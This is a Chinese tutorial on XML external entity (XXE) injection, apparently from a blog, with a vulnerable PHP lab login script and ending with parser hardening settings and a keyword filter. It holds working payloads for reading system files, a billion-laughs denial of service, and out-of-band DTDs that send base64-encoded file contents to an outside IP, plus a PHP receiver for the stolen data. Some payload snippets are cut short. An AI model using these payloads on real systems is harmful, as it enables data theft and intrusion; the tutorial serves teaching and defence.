赞
踩
Xml外部实体注入漏洞(XML External Entity Injection)简称XXE,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网探测和攻击,发起dos攻击等危害
XML外部实体注入攻击漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题,触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件,造成攻击危害。
XML全称可扩展标记语言。用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。
**内部声明DTD**
<!DOCTYPE 根元素 [元素声明]>
**引用外部DTD**
<!DOCTYPE 根元素 SYSTEM "文件名">
带有dtd
的XML文档实例:
<?xml version="1.0"?>
<!DOCTYPE note[ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
DTD中普通实体和参数实体:
普通实体:DTD中定义,XML中使用,使用格式: &名;
参数实体:DTD中定义,定义的时候要用%,DTD中使用,使用格式: %名;
(普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。)
①内部引用实体
元素约束Any指元素可以包含任何数据,包含文本数据和子元素
]>
<foo>&xxe;</foo>
②外部引用实体
通过XML引用外面的恶意DTD文件来造成XXE漏洞,% xxe定义参数实体,%xxe在dtd中引用参数实体
%xxe;
]>
<foo>&b;</foo>
随后在10.6.23.15服务器中写入1.dtd文件
<!ENTITY b SYSTEM "file:///etc/passwd">
用外带数据通道提取数据,如将提取的数据发送到外部的http服务器上,后面查看http服务器即可查看到提取的数据内容
1.使用使用php://filter获取目标文件的内容,然后将数据内容为参数值请求外部的http服务器,随后查看http服务器日志就能查看到提取的数据
( php://filter是php只读流,以base64编码的方式读取target.php)
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/1.dtd">
%dtd;
%send;
]>
1.dtd的内容,注意内部的%号要进行实体编码成%;
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;
随后访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据
①读取任意文件(注:读取网站源码要经过编码)
]>
<root>
<name>&xxe;</name>
</root>
②执行系统命令(注:这种情况非常少,在安装expect扩展的PHP环境可以里执行系统命令,其他协议也有可能可以执行系统命令,存在环境限制)
]>
<root>
<name>&xxe;</name>
</root>
③探测内网端口(注:要根据响应时间和报文长度判断端口是否开启,如:当端口关闭时连接会报错)
]>
<root>
<name>&xxe;</name>
</root>
④.攻击内网网站(ssrf)
]>
<root>
<name>&xxe;</name>
</root>
⑤netdoc协议读取文件(java)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY>
<!ENTITY xxe SYSTEM "netdoc:///c:/windows/system.ini">
]>
<creds>&xxe;</creds>
⑥dos拒绝服务(利用迭代参数实体进行拒绝服务,如果解析过程变得非常缓慢则代表测试成功)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
]>
<lolz>&lol6;</lolz>
靶场核心代码如下:
<?php $USERNAME = 'admin'; //账号 $PASSWORD = 'admin'; //密码 $result = null; libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); try{ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $username = $creds->username; $password = $creds->password; if($username == $USERNAME && $password == $PASSWORD){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username); }else{ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username); } }catch(Exception $e){ $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage()); } header('Content-Type: text/html; charset=utf-8'); echo $result; ?>
当输入错误用户名和密码的时候,服务端就会返回用户名并提示登录错误
利用方式1:读取文件
利用方式2:读取网站源码
将字段字符base64解码后就是网站的源码
以上是存在回显的利用,输入的参数会在服务端中返回,那么当参数不回显时怎么利用呢?
修改代码,让输入的参数不返回在服务端
当用户名错误和密码错误服务端直接返回登录成功和登录失败,不把输入的参数回显出来。这样即使存在XXE漏洞,我们直接构造读取文件的payload,由于数据不回显,我们也无法获取到读取的数据内容。
无回显只是不能获取数据内容,但实则攻击载荷还是会执行。所以可以利用ssrf快速的判断是否存在xxe漏洞(前提是服务器出网):
使用dnslog平台,利用xxe漏洞让服务器访问dnslog,如果存在访问记录就代表漏洞利用成功
那么如何获取数据内容呢?
利用方式1: 外部搭建http服务器,将读取的内容当作请求参数访问外部的Http服务器,查看http服务器的访问记录就能获取文件内容
利用ceye平台接收http请求
1.dtd内容如下:
注意1.dtd中内部的%要进行unicode编码
随后查看请求记录,将data参数值base64解码开就能看到文件内容
利用方式2: 搭建服务器,接收读取的内容
搭建1.php,接收请求参数并写入文件
<?php
file_put_contents('xxe.txt', $_GET['xxe']);
?>
外部1.dtd实体内容(注意:实体内部中引用参数实体,%要进行Unicode编码):
访问外部的1.php,并将读取的win.ini文件内容作为参数值赋值给参数xxe
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=C:/windows/win.ini">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://119.23.104.162/1.php?xxe=%payload;'>"> %int; %trick;
在dtd中引用1.dtd
随后读取的内容会以base64编码后存储在xxe.txt文件中
默认支持的协议:
//php:
libxml_disable_entity_loader(true);
//java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
//Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
参考链接:
https://www.freebuf.com/articles/web/97833.html
https://www.cnblogs.com/bmjoker/p/9452349.html
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。